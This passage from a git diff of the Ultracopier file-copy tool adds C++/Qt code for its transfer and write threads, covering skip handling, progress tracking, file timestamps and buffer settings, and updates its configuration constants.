+ ftWrite.dwHighDateTime=this->ftWriteH;
+ if(!SetFileTime(hFileDestination, &ftCreate, &ftAccess, &ftWrite))
+ {
+ CloseHandle(hFileDestination);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] unable to set the file time"));
+ return false;
+ }
+ CloseHandle(hFileDestination);
+ return true;
+ #endif
+ #else
+ return false;
+ #endif
+ #endif
+ return false;
+}
+
+//skip the copy
+void TransferThread::skip()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start with stat: ")+QString::number(transfer_stat));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] readIsOpeningVariable: ")+QString::number(readIsOpeningVariable)+QStringLiteral(", readIsOpenVariable: ")+QString::number(readIsOpenVariable)+QStringLiteral(", readIsReadyVariable: ")+QString::number(readIsReadyVariable)+QStringLiteral(", readIsFinishVariable: ")+QString::number(readIsFinishVariable)+QStringLiteral(", readIsClosedVariable: ")+QString::number(readIsClosedVariable));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] writeIsOpeningVariable: ")+QString::number(writeIsOpeningVariable)+QStringLiteral(", writeIsOpenVariable: ")+QString::number(writeIsOpenVariable)+QStringLiteral(", writeIsReadyVariable: ")+QString::number(writeIsReadyVariable)+QStringLiteral(", writeIsFinishVariable: ")+QString::number(writeIsFinishVariable)+QStringLiteral(", writeIsClosedVariable: ")+QString::number(writeIsClosedVariable));
+ switch(transfer_stat)
+ {
+ case TransferStat_WaitForTheTransfer:
+ //needRemove=true;never put that's here, can product destruction of the file
+ case TransferStat_PreOperation:
+ if(needSkip)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] skip already in progress"));
+ return;
+ }
+ needSkip=true;
+ //check if all is source and destination is closed
+ if(remainFileOpen())
+ {
+ if(remainSourceOpen())
+ readThread.stop();
+ if(remainDestinationOpen())
+ writeThread.stop();
+ }
+ else // wait nothing, just quit
+ {
+ transfer_stat=TransferStat_PostOperation;
+ emit internalStartPostOperation();
+ }
+ break;
+ case TransferStat_Transfer:
+ case TransferStat_PostTransfer:
+ if(needSkip)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] skip already in progress"));
+ return;
+ }
+ //needRemove=true;never put that's here, can product destruction of the file
+ needSkip=true;
+ if(canBeMovedDirectlyVariable || canBeCopiedDirectlyVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] Do the direct FS fake close, canBeMovedDirectlyVariable: ")+QString::number(canBeMovedDirectlyVariable)+QStringLiteral(", canBeCopiedDirectlyVariable: ")+QString::number(canBeCopiedDirectlyVariable));
+ readThread.fakeReadIsStarted();
+ writeThread.fakeWriteIsStarted();
+ readThread.fakeReadIsStopped();
+ writeThread.fakeWriteIsStopped();
+ return;
+ }
+ writeThread.flushBuffer();
+ if(remainFileOpen())
+ {
+ if(remainSourceOpen())
+ readThread.stop();
+ if(remainDestinationOpen())
+ writeThread.stop();
+ }
+ else // wait nothing, just quit
+ {
+ transfer_stat=TransferStat_PostOperation;
+ emit internalStartPostOperation();
+ }
+ break;
+ case TransferStat_Checksum:
+ if(needSkip)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] skip already in progress"));
+ return;
+ }
+ //needRemove=true;never put that's here, can product destruction of the file
+ needSkip=true;
+ if(remainFileOpen())
+ {
+ if(remainSourceOpen())
+ readThread.stop();
+ if(remainDestinationOpen())
+ writeThread.stop();
+ }
+ else // wait nothing, just quit
+ {
+ transfer_stat=TransferStat_PostOperation;
+ emit internalStartPostOperation();
+ }
+ break;
+ case TransferStat_PostOperation:
+ if(needSkip)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] skip already in progress"));
+ return;
+ }
+ //needRemove=true;never put that's here, can product destruction of the file
+ needSkip=true;
+ writeThread.flushBuffer();
+ emit internalStartPostOperation();
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] can skip in this state: ")+QString::number(transfer_stat));
+ return;
+ }
+}
+
+//return info about the copied size
+qint64 TransferThread::copiedSize()
+{
+ switch(transfer_stat)
+ {
+ case TransferStat_Transfer:
+ case TransferStat_PostOperation:
+ case TransferStat_PostTransfer:
+ return (readThread.getLastGoodPosition()+writeThread.getLastGoodPosition())/2;
+ case TransferStat_Checksum:
+ return transferSize;
+ default:
+ return 0;
+ }
+}
+
+//retry after error
+void TransferThread::putAtBottom()
+{
+ emit tryPutAtBottom();
+}
+
+#ifdef ULTRACOPIER_PLUGIN_RSYNC
+/// \brief set rsync
+void TransferThread::setRsync(const bool rsync)
+{
+ this->rsync=rsync;
+}
+#endif
+
+void TransferThread::set_osBufferLimit(const unsigned int &osBufferLimit)
+{
+ this->osBufferLimit=osBufferLimit;
+}
+
+#ifdef ULTRACOPIER_PLUGIN_DEBUG
+//to set the id
+void TransferThread::setId(int id)
+{
+ this->id=id;
+ readThread.setId(id);
+ writeThread.setId(id);
+}
+
+QChar TransferThread::readingLetter() const
+{
+ switch(readThread.stat)
+ {
+ case ReadThread::Idle:
+ return '_';
+ break;
+ case ReadThread::InodeOperation:
+ return 'I';
+ break;
+ case ReadThread::Read:
+ return 'R';
+ break;
+ case ReadThread::WaitWritePipe:
+ return 'W';
+ break;
+ case ReadThread::Checksum:
+ return 'S';
+ break;
+ default:
+ return '?';
+ }
+}
+
+QChar TransferThread::writingLetter() const
+{
+ switch(writeThread.stat)
+ {
+ case WriteThread::Idle:
+ return '_';
+ break;
+ case WriteThread::InodeOperation:
+ return 'I';
+ break;
+ case WriteThread::Write:
+ return 'W';
+ break;
+ case WriteThread::Close:
+ return 'C';
+ break;
+ case WriteThread::Read:
+ return 'R';
+ break;
+ case WriteThread::Checksum:
+ return 'S';
+ break;
+ default:
+ return '?';
+ }
+}
+
+#endif
+
+void TransferThread::setMkpathTransfer(QSemaphore *mkpathTransfer)
+{
+ this->mkpathTransfer=mkpathTransfer;
+ writeThread.setMkpathTransfer(mkpathTransfer);
+}
+
+void TransferThread::set_doChecksum(bool doChecksum)
+{
+ this->doChecksum=doChecksum;
+}
+
+void TransferThread::set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible)
+{
+ this->checksumIgnoreIfImpossible=checksumIgnoreIfImpossible;
+}
+
+void TransferThread::set_checksumOnlyOnError(bool checksumOnlyOnError)
+{
+ this->checksumOnlyOnError=checksumOnlyOnError;
+}
+
+void TransferThread::set_osBuffer(bool osBuffer)
+{
+ this->osBuffer=osBuffer;
+}
+
+void TransferThread::set_osBufferLimited(bool osBufferLimited)
+{
+ this->osBufferLimited=osBufferLimited;
+}
+
+//not copied size, because that's count to the checksum, ...
+quint64 TransferThread::realByteTransfered() const
+{
+ switch(transfer_stat)
+ {
+ case TransferStat_Transfer:
+ case TransferStat_Checksum:
+ return (readThread.getLastGoodPosition()+writeThread.getLastGoodPosition())/2;
+ case TransferStat_PostTransfer:
+ return (readThread.getLastGoodPosition()+writeThread.getLastGoodPosition())/2;
+ case TransferStat_PostOperation:
+ return transferSize;
+ default:
+ return 0;
+ }
+}
+
+//first is read, second is write
+QPair<quint64,quint64> TransferThread::progression() const
+{
+ QPair<quint64,quint64> returnVar;
+ switch(transfer_stat)
+ {
+ case TransferStat_Transfer:
+ returnVar.first=readThread.getLastGoodPosition();
+ returnVar.second=writeThread.getLastGoodPosition();
+ /*if(returnVar.first<returnVar.second)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] read is smaller than write"));*/
+ break;
+ case TransferStat_Checksum:
+ returnVar.first=readThread.getLastGoodPosition();
+ returnVar.second=writeThread.getLastGoodPosition();
+ break;
+ case TransferStat_PostTransfer:
+ returnVar.first=transferSize;
+ returnVar.second=writeThread.getLastGoodPosition();
+ /*if(returnVar.first<returnVar.second)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] read is smaller than write"));*/
+ break;
+ case TransferStat_PostOperation:
+ returnVar.first=transferSize;
+ returnVar.second=transferSize;
+ break;
+ default:
+ returnVar.first=0;
+ returnVar.second=0;
+ }
+ return returnVar;
+}
+
+void TransferThread::setRenamingRules(const QString &firstRenamingRule,const QString &otherRenamingRule)
+{
+ this->firstRenamingRule=firstRenamingRule;
+ this->otherRenamingRule=otherRenamingRule;
+}
+
+void TransferThread::setDeletePartiallyTransferredFiles(const bool &deletePartiallyTransferredFiles)
+{
+ this->deletePartiallyTransferredFiles=deletePartiallyTransferredFiles;
+}
+
+void TransferThread::setRenameTheOriginalDestination(const bool &renameTheOriginalDestination)
+{
+ this->renameTheOriginalDestination=renameTheOriginalDestination;
+}
+
+void TransferThread::set_updateMount()
+{
+ driveManagement.tryUpdate();
+}
diff --git a/plugins/CopyEngine/Ultracopier/TransferThread.h b/plugins/CopyEngine/Ultracopier/TransferThread.h
new file mode 100644
index 0000000..051375e
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/TransferThread.h
@@ -0,0 +1,288 @@
+/** \file TransferThread.h
+\brief Thread changed to manage the inode operation, the signals, canceling, pre and post operations
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef TRANSFERTHREAD_H
+#define TRANSFERTHREAD_H
+
+#include <QThread>
+#include <QFileInfo>
+#include <QString>
+#include <QList>
+#include <QStringList>
+#include <QDateTime>
+#include <QDir>
+#include <QPair>
+
+#ifdef Q_OS_UNIX
+ #include <utime.h>
+ #include <time.h>
+ #include <unistd.h>
+ #include <sys/stat.h>
+#else
+ #ifdef Q_OS_WIN32
+ #ifdef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ #include <utime.h>
+ #include <time.h>
+ #include <unistd.h>
+ #include <sys/stat.h>
+ #endif
+ #endif
+#endif
+
+#include "ReadThread.h"
+#include "WriteThread.h"
+#include "Environment.h"
+#include "DriveManagement.h"
+#include "StructEnumDefinition_CopyEngine.h"
+
+/// \brief Thread changed to manage the inode operation, the signals, canceling, pre and post operations
+class TransferThread : public QThread
+{
+ Q_OBJECT
+public:
+ explicit TransferThread();
+ ~TransferThread();
+ /// \brief get transfer stat
+ TransferStat getStat() const;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief to set the id
+ void setId(int id);
+ /// \brief get the reading letter
+ QChar readingLetter() const;
+ /// \brief get the writing letter
+ QChar writingLetter() const;
+ #endif
+ /// \brief to have semaphore, and try create just one by one
+ void setMkpathTransfer(QSemaphore *mkpathTransfer);
+ /// \brief to store the transfer id
+ quint64 transferId;
+ /// \brief to store the transfer size
+ quint64 transferSize;
+ bool haveStartTime;
+ QTime startTransferTime;
+
+ void set_doChecksum(bool doChecksum);
+ void set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible);
+ void set_checksumOnlyOnError(bool checksumOnlyOnError);
+ void set_osBuffer(bool osBuffer);
+ void set_osBufferLimited(bool osBufferLimited);
+
+ //not copied size, because that's count to the checksum, ...
+ quint64 realByteTransfered() const;
+ QPair<quint64,quint64> progression() const;
+ static QString resolvedName(const QFileInfo &inode);
+ QString getSourcePath() const;
+ QString getDestinationPath() const;
+ QFileInfo getSourceInode() const;
+ QFileInfo getDestinationInode() const;
+ Ultracopier::CopyMode getMode() const;
+protected:
+ void run();
+signals:
+ //to send state
+ void preOperationStopped() const;
+ void checkIfItCanBeResumed() const;
+ //void transferStarted();//not sended (and not used then)
+ void readStopped() const;
+ void writeStopped() const;
+ void postOperationStopped() const;
+ //get dialog
+ void fileAlreadyExists(const QFileInfo &info,const QFileInfo &info2,const bool &isSame) const;
+ void errorOnFile(const QFileInfo &info,const QString &string,const ErrorType &errorType=ErrorType_Normal) const;
+ //internal signal
+ void internalStartPostOperation() const;
+ void internalStartPreOperation() const;
+ void internalStartResumeAfterErrorAndSeek() const;
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,QString fonction,QString text,QString file,int ligne) const;
+ void tryPutAtBottom() const;
+ //force into the right thread
+ void internalTryStartTheTransfer() const;
+ /// \brief update the transfer stat
+ void pushStat(const TransferStat &stat,const quint64 &pos) const;
+public slots:
+ /// \brief to start the transfer of data
+ void startTheTransfer();
+ /// \brief to set files to transfer
+ bool setFiles(const QFileInfo& source,const qint64 &size,const QFileInfo& destination,const Ultracopier::CopyMode &mode);
+ /// \brief to set file exists action to do
+ void setFileExistsAction(const FileExistsAction &action);
+ /// \brief to set the new name of the destination
+ void setFileRename(const QString &nameForRename);
+ /// \brief to start the transfer of data
+ void setAlwaysFileExistsAction(const FileExistsAction &action);
+ /// \brief set the copy info and options before runing
+ void setRightTransfer(const bool doRightTransfer);
+ /// \brief set keep date
+ void setKeepDate(const bool keepDate);
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ /// \brief set the current max speed in KB/s
+ void setMultiForBigSpeed(const int &maxSpeed);
+ #endif
+ /// \brief set block size in KB
+ bool setBlockSize(const unsigned int blockSize);
+ /// \brief pause the copy
+ void pause();
+ /// \brief resume the copy
+ void resume();
+ /// \brief stop the copy
+ void stop();
+ /// \brief skip the copy
+ void skip();
+ /// \brief retry after error
+ void retryAfterError();
+ /// \brief return info about the copied size
+ qint64 copiedSize();
+ /// \brief put the current file at bottom
+ void putAtBottom();
+
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ void setRsync(const bool rsync);
+ #endif
+
+ void set_osBufferLimit(const unsigned int &osBufferLimit);
+ void setRenamingRules(const QString &firstRenamingRule,const QString &otherRenamingRule);
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ //speed limitation
+ void timeOfTheBlockCopyFinished();
+ #endif
+
+ bool setParallelBuffer(const int &parallelBuffer);
+ bool setSequentialBuffer(const int &sequentialBuffer);
+ void setTransferAlgorithm(const TransferAlgorithm &transferAlgorithm);
+ void setDeletePartiallyTransferredFiles(const bool &deletePartiallyTransferredFiles);
+ void setRenameTheOriginalDestination(const bool &renameTheOriginalDestination);
+ void set_updateMount();
+private slots:
+ void preOperation();
+ void readIsReady();
+ void writeIsReady();
+ void readIsFinish();
+ void writeIsFinish();
+ void readIsClosed();
+ void writeIsClosed();
+ void postOperation();
+ void getWriteError();
+ void getReadError();
+ void readChecksumFinish(const QByteArray&);
+ void writeChecksumFinish(const QByteArray&);
+ void compareChecksum();
+ //void syncAfterErrorAndReadFinish();
+ void readThreadIsSeekToZeroAndWait();
+ void writeThreadIsReopened();
+ void readThreadResumeAfterError();
+ //to filter the emition of signal
+ void readIsStopped();
+ void writeIsStopped();
+ //force into the right thread
+ void internalStartTheTransfer();
+private:
+ enum MoveReturn
+ {
+ MoveReturn_skip=0,
+ MoveReturn_moved=1,
+ MoveReturn_error=2
+ };
+ TransferStat transfer_stat;
+ ReadThread readThread;
+ WriteThread writeThread;
+ /*QString source;
+ QString destination;*/
+ Ultracopier::CopyMode mode;
+ bool doRightTransfer;
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ bool rsync;
+ #endif
+ bool keepDate;
+ //ready = open + ready to operation (no error to resolv)
+ bool readIsReadyVariable;
+ bool writeIsReadyVariable;
+ //can be open but with error
+ bool readIsOpeningVariable;//after call open() and before the end of internalOpen(), mostly to prevent internal error by open() when another is running
+ bool writeIsOpeningVariable;//after call open() and before the end of internalOpen(), mostly to prevent internal error by open() when another is running
+ bool readIsOpenVariable;
+ bool writeIsOpenVariable;
+ bool readIsFinishVariable;
+ bool writeIsFinishVariable;
+ bool readIsClosedVariable;
+ bool writeIsClosedVariable;
+ bool canBeMovedDirectlyVariable,canBeCopiedDirectlyVariable;
+ DriveManagement driveManagement;
+ QByteArray sourceChecksum,destinationChecksum;
+ volatile bool stopIt;
+ volatile bool canStartTransfer;
+ bool retry;
+ QFileInfo source;
+ QFileInfo destination;
+ qint64 size;
+ FileExistsAction fileExistsAction;
+ FileExistsAction alwaysDoFileExistsAction;
+ bool needSkip,needRemove;
+ QDateTime minTime;
+ int id;
+ QSemaphore *mkpathTransfer;
+ bool doChecksum,real_doChecksum;
+ bool checksumIgnoreIfImpossible;
+ bool checksumOnlyOnError;
+ bool deletePartiallyTransferredFiles;
+ bool osBuffer;
+ bool osBufferLimited;
+ unsigned int osBufferLimit;
+ QString firstRenamingRule;
+ QString otherRenamingRule;
+ //error management
+ bool writeError,writeError_source_seeked,writeError_destination_reopened;
+ bool readError;
+ bool renameTheOriginalDestination;
+ bool fileContentError;
+ bool doTheDateTransfer;
+ int parallelBuffer;
+ int sequentialBuffer;
+ int parallelizeIfSmallerThan;
+ QRegularExpression renameRegex;
+ TransferAlgorithm transferAlgorithm;
+ #ifdef Q_OS_UNIX
+ utimbuf butime;
+ #else
+ #ifdef Q_OS_WIN32
+ #ifdef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ utimbuf butime;
+ #else
+ quint32 ftCreateL, ftAccessL, ftWriteL;
+ quint32 ftCreateH, ftAccessH, ftWriteH;
+ QRegularExpression regRead;
+ #endif
+ #endif
+ #endif
+ //different pre-operation
+ bool isSame();
+ bool destinationExists();
+ bool checkAlwaysRename();///< return true if has been renamed
+ bool canBeMovedDirectly() const;
+ bool canBeCopiedDirectly() const;
+ void tryMoveDirectly();
+ void tryCopyDirectly();
+ void ifCanStartTransfer();
+ //fonction to edit the file date time
+ bool readFileDateTime(const QFileInfo &source);
+ bool writeFileDateTime(const QFileInfo &destination);
+ void resetExtraVariable();
+ //error management function
+ void resumeTransferAfterWriteError();
+ //to send state
+ bool sended_state_preOperationStopped;
+ bool sended_state_readStopped;
+ bool sended_state_writeStopped;
+ //different post-operation
+ bool checkIfAllIsClosedAndDoOperations();// return true if all is closed, and do some operations, don't use into condition to check if is closed!
+ bool doFilePostOperation();
+ //different pre-operation
+ void tryOpen();
+ bool remainFileOpen() const;
+ bool remainSourceOpen() const;
+ bool remainDestinationOpen() const;
+};
+
+#endif // TRANSFERTHREAD_H
diff --git a/plugins-alternative/CopyEngine/Rsync/Variable.h b/plugins/CopyEngine/Ultracopier/Variable.h
index f39b8a6..0fd1a3c 100644
--- a/plugins-alternative/CopyEngine/Rsync/Variable.h
+++ b/plugins/CopyEngine/Ultracopier/Variable.h
@@ -1,31 +1,39 @@
/** \file Variable.h
\brief Define the environment variable
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef VARIABLE_H
#define VARIABLE_H
//Un-comment this next line to put ultracopier plugin in debug mode
#define ULTRACOPIER_PLUGIN_DEBUG
+//#define ULTRACOPIER_PLUGIN_DEBUG_SCHEDULER
#define ULTRACOPIER_PLUGIN_DEBUG_WINDOW
#define ULTRACOPIER_PLUGIN_DEBUG_WINDOW_TIMER 150
-#define ULTRACOPIER_PLUGIN_MAXBUFFERBLOCK 64
#define ULTRACOPIER_PLUGIN_MINTIMERINTERVAL 50
#define ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL 100
#define ULTRACOPIER_PLUGIN_NUMSEMSPEEDMANAGEMENT 2
-#define ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT 64
#define ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER 1
-#define ULTRACOPIER_PLUGIN_MINIMALYEAR 1990
+#define ULTRACOPIER_PLUGIN_MINIMALYEAR 1995
+#define ULTRACOPIER_PLUGIN_DEFAULT_BLOCK_SIZE 256 //in KB
+#define ULTRACOPIER_PLUGIN_DEFAULT_SEQUENTIAL_NUMBER_OF_BLOCK 512
+#define ULTRACOPIER_PLUGIN_DEFAULT_PARALLEL_NUMBER_OF_BLOCK 4 //in KB
+#define ULTRACOPIER_PLUGIN_MAX_BLOCK_SIZE 16*1024 //in KB
+#define ULTRACOPIER_PLUGIN_MAX_SEQUENTIAL_NUMBER_OF_BLOCK 2048
+#define ULTRACOPIER_PLUGIN_MAX_PARALLEL_NUMBER_OF_BLOCK 128 //in KB
//if set, check the inode type at scanFileOrFolder, deprecated into the new algorithm and not used
#define ULTRACOPIER_PLUGIN_CHECKLISTTYPE
+#define ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+//#define ULTRACOPIER_PLUGIN_RIGHTS
+
/** \brief Need be greater than 2, but greater than 20 to be efficient */
#define ULTRACOPIER_PLUGIN_TIME_UPDATE_TRASNFER_LIST 40
#define ULTRACOPIER_PLUGIN_TIME_UPDATE_PROGRESSION 200
+#define ULTRACOPIER_PLUGIN_TIME_UPDATE_MOUNT_MS 60*1000
//#define ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
diff --git a/plugins/CopyEngine/Ultracopier/WriteThread.cpp b/plugins/CopyEngine/Ultracopier/WriteThread.cpp
new file mode 100644
index 0000000..42b3551
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/WriteThread.cpp
@@ -0,0 +1,967 @@
+#include "WriteThread.h"
+
+#include <QDir>
+
+QMultiHash<QString,WriteThread *> WriteThread::writeFileList;
+QMutex WriteThread::writeFileListMutex;
+
+WriteThread::WriteThread()
+{
+ deletePartiallyTransferredFiles = true;
+ lastGoodPosition = 0;
+ stopIt = false;
+ isOpen.release();
+ moveToThread(this);
+ setObjectName(QStringLiteral("write"));
+ //this->mkpathTransfer = mkpathTransfer;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat = Idle;
+ #endif
+ numberOfBlock = ULTRACOPIER_PLUGIN_DEFAULT_PARALLEL_NUMBER_OF_BLOCK;
+ buffer = false;
+ putInPause = false;
+ needRemoveTheFile = false;
+ blockSize = ULTRACOPIER_PLUGIN_DEFAULT_BLOCK_SIZE*1024;
+ start();
+}
+
+WriteThread::~WriteThread()
+{
+ stopIt=true;
+ needRemoveTheFile=true;
+ pauseMutex.release();
+ writeFull.release();
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ waitNewClockForSpeed.release();
+ waitNewClockForSpeed2.release();
+ #endif
+ writeFull.release();
+ pauseMutex.release();
+ // useless because stopIt will close all thread, but if thread not runing run it
+ //endIsDetected();
+ emit internalStartClose();
+ isOpen.acquire();
+ if(!file.fileName().isEmpty())
+ resumeNotStarted();
+ //disconnect(this);//-> do into ~TransferThread()
+ quit();
+ wait();
+}
+
+void WriteThread::run()
+{
+ connect(this,&WriteThread::internalStartOpen, this,&WriteThread::internalOpen, Qt::QueuedConnection);
+ connect(this,&WriteThread::internalStartReopen, this,&WriteThread::internalReopen, Qt::QueuedConnection);
+ connect(this,&WriteThread::internalStartWrite, this,&WriteThread::internalWrite, Qt::QueuedConnection);
+ connect(this,&WriteThread::internalStartClose, this,&WriteThread::internalCloseSlot, Qt::QueuedConnection);
+ connect(this,&WriteThread::internalStartEndOfFile, this,&WriteThread::internalEndOfFile, Qt::QueuedConnection);
+ connect(this,&WriteThread::internalStartFlushAndSeekToZero, this,&WriteThread::internalFlushAndSeekToZero, Qt::QueuedConnection);
+ connect(this,&WriteThread::internalStartChecksum, this,&WriteThread::checkSum, Qt::QueuedConnection);
+ exec();
+}
+
+bool WriteThread::internalOpen()
+{
+ //do a bug
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] internalOpen destination: ")+file.fileName());
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] close because stopIt is at true"));
+ emit closed();
+ return false;
+ }
+ if(file.isOpen())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] already open! destination: ")+file.fileName());
+ return false;
+ }
+ if(file.fileName().isEmpty())
+ {
+ errorString_internal=tr("Path resolution error (Empty path)");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to open: %1, error: %2").arg(file.fileName()).arg(errorString_internal));
+ emit error();
+ return false;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] before the mutex"));
+ //set to LISTBLOCKSIZE
+ if(sequential)
+ {
+ while(writeFull.available()<1)
+ writeFull.release();
+ if(writeFull.available()>1)
+ writeFull.acquire(writeFull.available()-1);
+ }
+ else
+ {
+ while(writeFull.available()<numberOfBlock)
+ writeFull.release();
+ if(writeFull.available()>numberOfBlock)
+ writeFull.acquire(writeFull.available()-numberOfBlock);
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] after the mutex"));
+ stopIt=false;
+ endDetected=false;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=InodeOperation;
+ #endif
+ //mkpath check if exists and return true if already exists
+ QFileInfo destinationInfo(file);
+ QDir destinationFolder;
+ {
+ mkpathTransfer->acquire();
+ if(!destinationFolder.exists(destinationInfo.absolutePath()))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Try create the path: %1")
+ .arg(destinationInfo.absolutePath()));
+ if(!destinationFolder.mkpath(destinationInfo.absolutePath()))
+ {
+ if(!destinationFolder.exists(destinationInfo.absolutePath()))
+ {
+ /// \todo do real folder error here
+ errorString_internal="mkpath error on destination";
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable create the folder: %1, error: %2")
+ .arg(destinationInfo.absolutePath())
+ .arg(errorString_internal));
+ emit error();
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ mkpathTransfer->release();
+ return false;
+ }
+ }
+ }
+ mkpathTransfer->release();
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] after the mkpath"));
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] close because stopIt is at true"));
+ emit closed();
+ return false;
+ }
+ //try open it
+ QIODevice::OpenMode flags=QIODevice::ReadWrite;
+ if(!buffer)
+ flags|=QIODevice::Unbuffered;
+ {
+ QMutexLocker lock_mutex(&writeFileListMutex);
+ if(writeFileList.count(file.fileName(),this)==0)
+ {
+ writeFileList.insert(file.fileName(),this);
+ if(writeFileList.count(file.fileName())>1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] in waiting because same file is found"));
+ return false;
+ }
+ }
+ }
+ bool fileWasExists=file.exists();
+ if(file.open(flags))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] after the open"));
+ {
+ QMutexLocker lock_mutex(&accessList);
+ if(!theBlockList.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("General file corruption detected"));
+ stopIt=true;
+ file.close();
+ resumeNotStarted();
+ file.setFileName(QStringLiteral(""));
+ return false;
+ }
+ }
+ pauseMutex.tryAcquire(pauseMutex.available());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] after the pause mutex"));
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] close because stopIt is at true"));
+ file.close();
+ resumeNotStarted();
+ file.setFileName(QStringLiteral(""));
+ emit closed();
+ return false;
+ }
+ if(!file.seek(0))
+ {
+ file.close();
+ resumeNotStarted();
+ file.setFileName(QStringLiteral(""));
+ errorString_internal=file.errorString();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to seek after open: %1, error: %2").arg(file.fileName()).arg(errorString_internal));
+ emit error();
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ return false;
+ }
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] close because stopIt is at true"));
+ file.close();
+ resumeNotStarted();
+ file.setFileName(QStringLiteral(""));
+ emit closed();
+ return false;
+ }
+ if(!file.resize(startSize))
+ {
+ file.close();
+ resumeNotStarted();
+ file.setFileName(QStringLiteral(""));
+ errorString_internal=file.errorString();
